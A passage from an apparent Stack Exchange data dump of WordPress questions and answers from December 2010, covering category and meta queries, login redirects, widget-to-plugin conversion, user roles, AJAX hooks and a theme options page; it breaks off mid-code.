  <row Id="4716" PostTypeId="2" ParentId="4707" CreationDate="2010-12-01T00:36:44.557" Score="1" ViewCount="" Body="&lt;p&gt;Have you tried hard-coding the category parameter for testing, and additionally trying different methods to set the query parameters..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array( 'category_name' =&amp;gt; 'myname', 'meta_ke' =&amp;gt; 'wpfp_favorites', 'orderby' =&amp;gt; 'meta_value_num' ) );&#xA;query_posts( array( 'cat' =&amp;gt; N, 'meta_key' =&amp;gt; 'wpfp_favorites', 'orderby' =&amp;gt; 'meta_value_num' ) );&#xA;query_posts( array( 'cat__in' =&amp;gt; array( N ), 'meta_key' =&amp;gt; 'wpfp_favorites', 'orderby' =&amp;gt; 'meta_value_num' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where N would be a numerical ID number for the category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logically the query class should accept both a category and a meta key, whilst being able to order by meta key, i can't see any conditional logic that would prevent these two parameters working alongside one another..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe an additional test would be to set the &lt;code&gt;meta_value&lt;/code&gt; parameter to and see if this has an effect, you could use something like this to avoid the need to match a particular value.. (which would match any post with that custom field key where the value isn't an empty string)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array( &#xA;    'cat' =&amp;gt; N, &#xA;    'meta_key' =&amp;gt; 'wpfp_favorites', &#xA;    'meta_value' =&amp;gt; '', &#xA;    'meta_compare' =&amp;gt; '!=', &#xA;    'orderby' =&amp;gt; 'meta_value_num' &#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;RE:&lt;/strong&gt; Get category ID.... get_cat_ID('nameofcat') or alternatively take a peek at the edit URL for the category in the administration area it should contain the category ID..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-03T11:35:34.533" LastActivityDate="2010-12-03T11:35:34.533" CommentCount="6" />
  <row Id="4717" PostTypeId="2" ParentId="4646" CreationDate="2010-12-01T01:17:29.390" Score="0" ViewCount="" Body="&lt;p&gt;If you're using an author template there's absolutely no need to setup(set) the author query parameters, they'll be setup ready in the query object present on the author page..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could additionally avoid the need to create numerous queries(one per category currently), by iterating over the query you have, extracting the categories, and storing post IDs associated with given categories inside an array. First iteration you use to build the array of IDs divided by category name/ID(whatever you like), then rewind the query, iterate over the posts, continuing(skipping) results that don't match the first category in your newly built array of category IDs(or names). Again you follow by rewinding the loop, then iterating over it again for each category you have in the new array, continuing(skipping) posts when they don't match the current category iteration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not something that will really make much sense until you see it, and gets a little more complex if you categorize your posts into multiple categories(where the categories can intersect across posts), but it will work(without any additional queries) for the current page(it obviously won't sort the full result set, so whilst a given page will sort, that overall sort won't carry across the sum of all pages for the result set).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think the above method sounds useful and you're not fussed about the aforementioned problem i don't mind providing an example.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-01T01:17:29.390" CommentCount="1" />
  <row Id="4720" PostTypeId="1" AcceptedAnswerId="4762" CreationDate="2010-12-01T05:43:08.740" Score="0" ViewCount="386" Body="&lt;p&gt;I recently restored a WP multi-site 3.0.1 database from production to a staging environment, and when I try to login, I am being redirected to an HTTPS URL. The browser complains that the certificate is bad, and then when I click &quot;proceed&quot;, it says page not found. I have cleared my browser cookies and all that good stuff, but it still won't let me login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I am experiencing intermittent &quot;No site defined on this host&quot; errors when I try to login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never seen this issue before, and I have definitely done this backup db restore process before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help,&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2010-12-31T03:45:30.890" Title="wp-login.php redirecting to HTTPS" Tags="&lt;login&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="4721" PostTypeId="2" ParentId="4712" CreationDate="2010-12-01T06:18:23.710" Score="0" ViewCount="" Body="&lt;p&gt;Why do you want special admin panel for this? It seems like something that can simply be handled by page with custom template if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also load content of non-public page by code and use it where you need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Pages&quot; rel=&quot;nofollow&quot;&gt;Pages&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-01T06:18:23.710" CommentCount="8" />
  <row Id="4722" PostTypeId="2" ParentId="4720" CreationDate="2010-12-01T06:24:58.247" Score="0" ViewCount="" Body="&lt;p&gt;Check if constants, enforcing SSL are defined:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;FORCE_SSL_LOGIN&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;FORCE_SSL_ADMIN&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Administration_Over_SSL&quot; rel=&quot;nofollow&quot;&gt;Administration over SSL&lt;/a&gt; in Codex for details.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-01T06:24:58.247" CommentCount="1" />
  <row Id="4723" PostTypeId="1" AcceptedAnswerId="4766" CreationDate="2010-12-01T06:57:18.350" Score="1" ViewCount="201" Body="&lt;p&gt;i need a help,&#xA;i have a theme, where in i have a twitter widget, i just want to separate it, and keep it in different file, as if it is a plugin,&#xA;here are is the complete code,&#xA;what i have to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this code was in file &lt;strong&gt;admin-functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*-----------------------------------------------------------------------------------*/&#xA;/* Twitter's Blogger.js output for Twitter widgets */&#xA;/*-----------------------------------------------------------------------------------*/&#xA;&#xA;function woo_twitter_script($unique_id,$username,$limit) {&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&amp;lt;!--//--&amp;gt;&amp;lt;![CDATA[//&amp;gt;&amp;lt;!--&#xA;&#xA;    function twitterCallback2(twitters) {&#xA;      var statusHTML = [];&#xA;      for (var i=0; i&amp;lt;twitters.length; i++){&#xA;        var username = twitters[i].user.screen_name;&#xA;        var status = twitters[i].text.replace(/((https?|s?ftp|ssh)\:\/\/[^&quot;\s\&amp;lt;\&amp;gt;]*[^.,;'&quot;&amp;gt;\:\s\&amp;lt;\&amp;gt;\)\]\!])/g, function(url) {&#xA;          return '&amp;lt;a href=&quot;'+url+'&quot;&amp;gt;'+url+'&amp;lt;/a&amp;gt;';&#xA;        }).replace(/\B@([_a-z0-9]+)/ig, function(reply) {&#xA;          return  reply.charAt(0)+'&amp;lt;a href=&quot;http://twitter.com/'+reply.substring(1)+'&quot;&amp;gt;'+reply.substring(1)+'&amp;lt;/a&amp;gt;';&#xA;        });&#xA;        statusHTML.push('&amp;lt;li&amp;gt;&amp;lt;span&amp;gt;'+status+'&amp;lt;/span&amp;gt; &amp;lt;a style=&quot;font-size:85%&quot; href=&quot;http://twitter.com/'+username+'/statuses/'+twitters[i].id+'&quot;&amp;gt;'+relative_time(twitters[i].created_at)+'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;');&#xA;      }&#xA;      document.getElementById('twitter_update_list_&amp;lt;?php echo $unique_id; ?&amp;gt;').innerHTML = statusHTML.join('');&#xA;    }&#xA;&#xA;    function relative_time(time_value) {&#xA;      var values = time_value.split(&quot; &quot;);&#xA;      time_value = values[1] + &quot; &quot; + values[2] + &quot;, &quot; + values[5] + &quot; &quot; + values[3];&#xA;      var parsed_date = Date.parse(time_value);&#xA;      var relative_to = (arguments.length &amp;gt; 1) ? arguments[1] : new Date();&#xA;      var delta = parseInt((relative_to.getTime() - parsed_date) / 1000);&#xA;      delta = delta + (relative_to.getTimezoneOffset() * 60);&#xA;&#xA;      if (delta &amp;lt; 60) {&#xA;        return 'less than a minute ago';&#xA;      } else if(delta &amp;lt; 120) {&#xA;        return 'about a minute ago';&#xA;      } else if(delta &amp;lt; (60*60)) {&#xA;        return (parseInt(delta / 60)).toString() + ' minutes ago';&#xA;      } else if(delta &amp;lt; (120*60)) {&#xA;        return 'about an hour ago';&#xA;      } else if(delta &amp;lt; (24*60*60)) {&#xA;        return 'about ' + (parseInt(delta / 3600)).toString() + ' hours ago';&#xA;      } else if(delta &amp;lt; (48*60*60)) {&#xA;        return '1 day ago';&#xA;      } else {&#xA;        return (parseInt(delta / 86400)).toString() + ' days ago';&#xA;      }&#xA;    }&#xA;//--&amp;gt;!]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://twitter.com/statuses/user_timeline/&amp;lt;?php echo $username; ?&amp;gt;.json?callback=twitterCallback2&amp;amp;amp;count=&amp;lt;?php echo $limit; ?&amp;gt;&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this second code i found in &lt;strong&gt;theme-widget.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*---------------------------------------------------------------------------------*/&#xA;/* Twitter widget */&#xA;/*---------------------------------------------------------------------------------*/&#xA;class Woo_Twitter extends WP_Widget {&#xA;&#xA;   function Woo_Twitter() {&#xA;       $widget_ops = array('description' =&amp;gt; 'Add your Twitter feed to your sidebar with this widget.' );&#xA;       parent::WP_Widget(false, __('Woo - Twitter Stream', 'woothemes'),$widget_ops);      &#xA;   }&#xA;&#xA;   function widget($args, $instance) {  &#xA;    extract( $args );&#xA;    $title = $instance['title'];&#xA;    $limit = $instance['limit']; if (!$limit) $limit = 5;&#xA;    $username = $instance['username'];&#xA;    $unique_id = $args['widget_id'];&#xA;    ?&amp;gt;&#xA;        &amp;lt;?php echo $before_widget; ?&amp;gt;&#xA;        &amp;lt;?php if ($title) echo $before_title . $title . $after_title; ?&amp;gt;&#xA;        &amp;lt;ul id=&quot;twitter_update_list_&amp;lt;?php echo $unique_id; ?&amp;gt;&quot;&amp;gt;&amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;   &#xA;        &amp;lt;?php echo woo_twitter_script($unique_id,$username,$limit); //Javascript output function ?&amp;gt;  &#xA;        &amp;lt;?php echo $after_widget; ?&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;?php&#xA;   }&#xA;&#xA;   function update($new_instance, $old_instance) {                &#xA;       return $new_instance;&#xA;   }&#xA;&#xA;   function form($instance) {        &#xA;&#xA;       $title = esc_attr($instance['title']);&#xA;       $limit = esc_attr($instance['limit']);&#xA;       $username = esc_attr($instance['username']);&#xA;       ?&amp;gt;&#xA;       &amp;lt;p&amp;gt;&#xA;           &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Title:','woothemes'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;           &amp;lt;input type=&quot;text&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('title'); ?&amp;gt;&quot;  value=&quot;&amp;lt;?php echo $title; ?&amp;gt;&quot; class=&quot;widefat&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot; /&amp;gt;&#xA;       &amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;&#xA;           &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('username'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Username:','woothemes'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;           &amp;lt;input type=&quot;text&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('username'); ?&amp;gt;&quot;  value=&quot;&amp;lt;?php echo $username; ?&amp;gt;&quot; class=&quot;widefat&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('username'); ?&amp;gt;&quot; /&amp;gt;&#xA;       &amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;&#xA;           &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('limit'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Limit:','woothemes'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;           &amp;lt;input type=&quot;text&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('limit'); ?&amp;gt;&quot;  value=&quot;&amp;lt;?php echo $limit; ?&amp;gt;&quot; class=&quot;&quot; size=&quot;3&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('limit'); ?&amp;gt;&quot; /&amp;gt;&#xA;&#xA;       &amp;lt;/p&amp;gt;&#xA;      &amp;lt;?php&#xA;   }&#xA;&#xA;} &#xA;register_widget('Woo_Twitter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i just want this code to be a different file, just like a plugin, so that i can use this in my another theme also,&#xA;can anyone help me here???&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-12-02T10:11:04.967" LastActivityDate="2010-12-02T15:05:06.047" Title="Converting theme widgets to plugins?" Tags="&lt;plugin-development&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="4724" PostTypeId="1" CreationDate="2010-12-01T07:36:30.687" Score="2" ViewCount="2048" Body="&lt;p&gt;I want to show a category only if a (custom) post is in that category AND region = $name for that post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, e.g. I have a custom post (type &quot;business&quot;) named &quot;Mamma Mia&quot; in child-category: &quot;pizzerias&quot; (and in parent-category &quot;food&quot;), and in region &quot;Rotterdam&quot; (custom taxonomy: &quot;region&quot;, custom taxonomy term: &quot;rotterdam&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;=&gt; display category &quot;pizzerias&quot; (and parent-category &quot;food&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only, I have no clue how to accomplish this. I'd appreciate any help on this puzzle.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;// $filter = array('region'=&amp;gt;$name); &#xA;&#xA;$categories = get_categories(); &#xA;foreach ($categories as $cat) &#xA;{ &#xA;    if($cat-&amp;gt;parent &amp;lt; 1) &#xA;    { &#xA;    $cat_name = $cat-&amp;gt;cat_name; &#xA;    $catid = get_cat_ID( $cat_name ); &#xA;    echo $cat_name. '&amp;lt;br/&amp;gt;'; &#xA;&#xA;    $args=array( &#xA;      'orderby' =&amp;gt; 'name', &#xA;      'order' =&amp;gt; 'ASC', &#xA;      'child_of' =&amp;gt; $catid &#xA;      ); &#xA;    $categories=get_categories($args); &#xA;      foreach($categories as $category) {  &#xA;        echo '&amp;lt;a href=&quot;' . get_category_link( $category-&amp;gt;term_id ) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $category-&amp;gt;name ) . '&quot; ' . '&amp;gt;' . $category-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;lt;br/&amp;gt;'; &#xA;        }  &#xA;&#xA;    } &#xA;} &#xA;&#xA;// print_r($categories);  &#xA;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1866" LastActivityDate="2011-05-31T14:50:16.943" Title="Filter get_categories() for taxonomy term in WordPress" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;filters&gt;" AnswerCount="7" CommentCount="3" FavoriteCount="1" />
  <row Id="4725" PostTypeId="1" AcceptedAnswerId="4727" CreationDate="2010-12-01T09:42:55.727" Score="2" ViewCount="610" Body="&lt;p&gt;I have custom roles in my setup and I want to be able to automatically change a user's role thru a function. Say user A has a SUBSCRIBER role, how do I change it to EDITOR? When adding a role we just: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_role( $role_name , $role_display_name , array( 'read' =&amp;gt;  true,&#xA;                                                   'edit_posts' =&amp;gt; false,&#xA;                                                   'delete_posts' =&amp;gt; false, ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How about changing a role? Is there something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;change_role($old_role, $new_role);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;I think this one will do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_user_object = new WP_User($current_user-&amp;gt;ID);&#xA;$wp_user_object-&amp;gt;set_role('editor');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1649" LastEditorUserId="1649" LastEditorDisplayName="" LastEditDate="2010-12-01T11:53:09.767" LastActivityDate="2010-12-22T19:04:49.310" Title="How to change a user's role?" Tags="&lt;custom-roles&gt;&lt;user-roles&gt;" AnswerCount="3" FavoriteCount="3" />
  <row Id="4727" PostTypeId="2" ParentId="4725" CreationDate="2010-12-01T11:09:35.717" Score="5" ViewCount="" Body="&lt;p&gt;See the &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.2/wp-includes/capabilities.php#L29&quot; rel=&quot;nofollow&quot;&gt;WP_User class&lt;/a&gt;, you can use this to add and remove roles for a user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; &lt;em&gt;I really should of provided more information with this answer initially, so i'm adding more information below.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, a user's role can be set by creating an instance of the WP_user class, and calling the &lt;code&gt;add_role()&lt;/code&gt; or &lt;code&gt;remove_role()&lt;/code&gt; methods.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Example&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Change a subscribers role to editor&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// NOTE: Of course change 3 to the appropriate user ID&#xA;$u = new WP_User( 3 );&#xA;&#xA;// Remove role&#xA;$u-&amp;gt;remove_role( 'subscriber' );&#xA;&#xA;// Add role&#xA;$u-&amp;gt;add_role( 'editor' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully that's more helpful than my initial response, which wasn't necessarily as helpful.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-22T19:04:49.310" LastActivityDate="2010-12-22T19:04:49.310" />
  <row Id="4728" PostTypeId="2" ParentId="4725" CreationDate="2010-12-01T11:16:58.863" Score="0" ViewCount="" Body="&lt;h2&gt;There's a WordPress function for that!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I think it is best to use WordPress functions, if and when they are available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_user&quot; rel=&quot;nofollow&quot;&gt;wp_insert_user()&lt;/a&gt; function, where one of the arguments that you will need to provide is the $userdata['role']. In this argument you can specify the role that you want to change the user into.&lt;/p&gt;&#xA;" OwnerUserId="1763" LastEditorUserId="1763" LastEditorDisplayName="" LastEditDate="2010-12-01T11:47:12.623" LastActivityDate="2010-12-01T11:47:12.623" CommentCount="2" />
  <row Id="4729" PostTypeId="1" AcceptedAnswerId="4731" CreationDate="2010-12-01T11:41:22.010" Score="0" ViewCount="87" Body="&lt;p&gt;A lot of the older books don't seem to cover new 3.0 features.&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2010-12-01T11:56:04.837" Title="What is the most up-to-date book on WP plugin development?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;books&gt;&lt;reference&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="4730" PostTypeId="2" ParentId="4729" CreationDate="2010-12-01T11:55:02.340" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://digwp.com/book/&quot; rel=&quot;nofollow&quot;&gt;Digging into WordPress&lt;/a&gt; is one of the best books (have it as PDF) that I know. It has a nice holiday sale currently too.&lt;/p&gt;&#xA;" OwnerUserId="1763" LastActivityDate="2010-12-01T11:55:02.340" />
  <row Id="4731" PostTypeId="2" ParentId="4729" CreationDate="2010-12-01T11:56:04.837" Score="4" ViewCount="" Body="&lt;p&gt;Disclaimer - I am not much into books on subject.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://digwp.com/book/&quot; rel=&quot;nofollow&quot;&gt;Digging into WordPress&lt;/a&gt; (which I do have) was updated with ~20 pages on 3.0 features.&lt;/li&gt;&#xA;&lt;li&gt;and I am really looking forward to currently being written &lt;em&gt;Professional WordPress Plugin Development&lt;/em&gt; just for the names on it: &lt;a href=&quot;http://justintadlock.com/archives/2010/09/01/realizing-a-dream-writing-a-wordpress-book&quot; rel=&quot;nofollow&quot;&gt;Justin Tadlock&lt;/a&gt;, &lt;a href=&quot;http://planetozh.com/blog/2010/09/into-plugins-you-will-love-this-plugindevbook/&quot; rel=&quot;nofollow&quot;&gt;Ozh Richard&lt;/a&gt;, &lt;a href=&quot;http://www.strangework.com/2010/09/01/new-book-professional-wordpress-plugin-development/&quot; rel=&quot;nofollow&quot;&gt;Brad Williams&lt;/a&gt;, &lt;a href=&quot;http://andrewnacin.com/2010/09/01/editing-a-book/&quot; rel=&quot;nofollow&quot;&gt;editor Andrew Nacin&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-01T11:56:04.837" CommentCount="1" />
  <row Id="4732" PostTypeId="1" CreationDate="2010-12-01T11:58:26.403" Score="0" ViewCount="478" Body="&lt;p&gt;I'm trying to integrate ajax in wordpress using the wp codex guidelines.&#xA;In the PHP I added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script ( 'my_ajax', ADMIN_URL . 'js/ajax.js','jquery','1.0.0' );&#xA;wp_localize_script( 'my_ajax', 'MyAjax', array( 'ajaxurl' =&amp;gt; admin_url( 'admin-ajax.php' ) ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The ajax code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.ajax({url: MyAjax.ajaxurl, type: &quot;POST&quot;,data: {action: 'myaction',postID : MyAjax.postID}, success: function(response) {&#xA; alert('Got this from the server: ' + response);&#xA;}});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the PHP function that should be called by ajax is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ajax_function() {&#xA;...do something...&#xA;}&#xA;add_action('wp_ajax_myaction', 'ajax_function');&#xA;add_action('wp_ajax_admin_myaction', 'ajax_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The ajax call is successful (the &quot;alert&quot; works), however, the php function &quot;ajax_function&quot; is never called.&#xA;After doing some debugging I realized that even though the action call add_action('wp_ajax_ sets a new element in the global $wp_filter array, when the corresponding do_action runs inside admin-ajax.php, the $wp_filter array no longer contains that element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, &quot;ajax_function&quot; function is ignored.&#xA;Any idea why the function is not called?&lt;/p&gt;&#xA;" OwnerUserId="1567" LastActivityDate="2010-12-01T12:27:06.790" Title="add_action('wp_ajax_[action name]', myfunction) problem" Tags="&lt;hooks&gt;&lt;actions&gt;&lt;ajax&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="4733" PostTypeId="2" ParentId="4732" CreationDate="2010-12-01T12:27:06.790" Score="1" ViewCount="" Body="&lt;p&gt;In my projects I do it like that&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function foo() {&#xA;    echo 'bar';&#xA;}&#xA;add_action('wp_ajax_foo', 'foo' ); // executed when logged in&#xA;add_action('wp_ajax_nopriv_foo', 'foo' ); // executed when logged out&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Javascript&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;data = { action: 'foo', avalue: 'some value', 'anothervalue': 'another value' };&#xA;jQuery.post(ajaxurl, data, function(response){&#xA;    alert(response);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe this guide will help you.&#xA;&lt;a href=&quot;http://www.wphardcore.com/2010/5-tips-for-using-ajax-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.wphardcore.com/2010/5-tips-for-using-ajax-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2010-12-01T12:27:06.790" CommentCount="7" />
  <row Id="4735" PostTypeId="2" ParentId="4712" CreationDate="2010-12-01T15:36:24.507" Score="2" ViewCount="" Body="&lt;p&gt;An example code for an options-page for a theme. Copy this code in the functions.php of the theme.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !function_exists('localizing_theme_setup') ) {&#xA;&#xA;    function localizing_theme_setup() {&#xA;&#xA;        localizing_constants();&#xA;&#xA;        // Make theme available for translation&#xA;        // Translations can be filed in the /languages/ directory&#xA;        load_theme_textdomain( FB_LT_TEXTDOMAIN, TEMPLATEPATH . '/languages' );&#xA;&#xA;        // instance class&#xA;        $localizing_theme_options = new localizing_theme_options();&#xA;    }&#xA;&#xA;}&#xA;add_action( 'after_setup_theme', 'localizing_theme_setup' );&#xA;&#xA;function localizing_constants() {&#xA;&#xA;    define( 'FB_LT_TEXTDOMAIN', 'localizing' );&#xA;}&#xA;&#xA;if ( !class_exists( 'localizing_theme_options' ) ) {&#xA;    class localizing_theme_options {&#xA;&#xA;        // constructor&#xA;        function localizing_theme_options() {&#xA;&#xA;            add_action( 'admin_init', &#xA;                array(&amp;amp;$this, 'localizing_theme_options_init') &#xA;            ); &#xA;            add_action( 'admin_menu', &#xA;                array(&amp;amp;$this, 'localizing_theme_options_add_page') &#xA;            );&#xA;        } &#xA;&#xA;        // Plugin options initialisieren &#xA;        function localizing_theme_options_init() { &#xA;            register_setting( &#xA;                'localizing_theme_options', &#xA;                'localizing_theme', &#xA;                array(&amp;amp;$this, 'localizing_theme_options_validate') &#xA;            ); &#xA;        } &#xA;&#xA;        // Menu page Seite hinzufuegen &#xA;        function localizing_theme_options_add_page() { &#xA;            add_theme_page( &#xA;                __( 'Set your Localizing Settings', FB_LT_TEXTDOMAIN ), &#xA;                __( 'Localizing Settings', FB_LT_TEXTDOMAIN ), &#xA;                'switch_themes', &#xA;                'localizing_settings', &#xA;                array( &amp;amp;$this, 'localizing_theme_options_do_page' ) &#xA;            ); &#xA;        } &#xA;&#xA;        // HTML, Simple Options Page &#xA;        function localizing_theme_options_do_page() { &#xA;            ?&amp;gt; &#xA;            &amp;lt;div class=&quot;wrap&quot;&amp;gt; &#xA;                &amp;lt;h2&amp;gt;&amp;lt;?php _e( 'Localizing Settings', FB_LT_TEXTDOMAIN ); ?&amp;gt;&amp;lt;/h2&amp;gt; &#xA;                &amp;lt;form method=&quot;post&quot; action=&quot;options.php&quot;&amp;gt; &#xA;&#xA;                    &amp;lt;?php &#xA;                    settings_fields('localizing_theme_options');&#xA;                    $options = get_option('localizing_theme');&#xA;                    $available_languages_files = get_available_languages();&#xA;                    if ( !empty( $available_languages_files ) ) {&#xA;                        // Translate the list into something that's easier to search&#xA;                        foreach ( $available_languages_files as $available_language ) {&#xA;                            $parts = explode( '_', $available_language );&#xA;&#xA;                            if ( empty( $parts[0] ) )&#xA;                                continue;&#xA;&#xA;                            $available_languages[ strtolower( $parts[0] ) ] = $available_language;&#xA;&#xA;                            $santized = strtolower( $available_language );&#xA;                            $santized = str_replace( '_', '-', $santized );&#xA;                            $available_languages[$santized] = $available_language;&#xA;                            $all_available_languages[] = $available_language;&#xA;                        }&#xA;                    }&#xA;                    ?&amp;gt;&#xA;                    &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;                        &amp;lt;tr&amp;gt;&#xA;                            &amp;lt;th scope=&quot;row&quot;&amp;gt; &#xA;                                &amp;lt;?php _e( 'Available languages', FB_LT_TEXTDOMAIN ); ?&amp;gt; &#xA;                            &amp;lt;/th&amp;gt; &#xA;                            &amp;lt;td&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; disabled=&quot;disabled&quot; name=&quot;&quot; &#xA;                                value=&quot;&amp;lt;?php echo implode( ', ', $all_available_languages ); ?&amp;gt;&quot; /&amp;gt;&#xA;                                &amp;lt;br /&amp;gt;&#xA;                                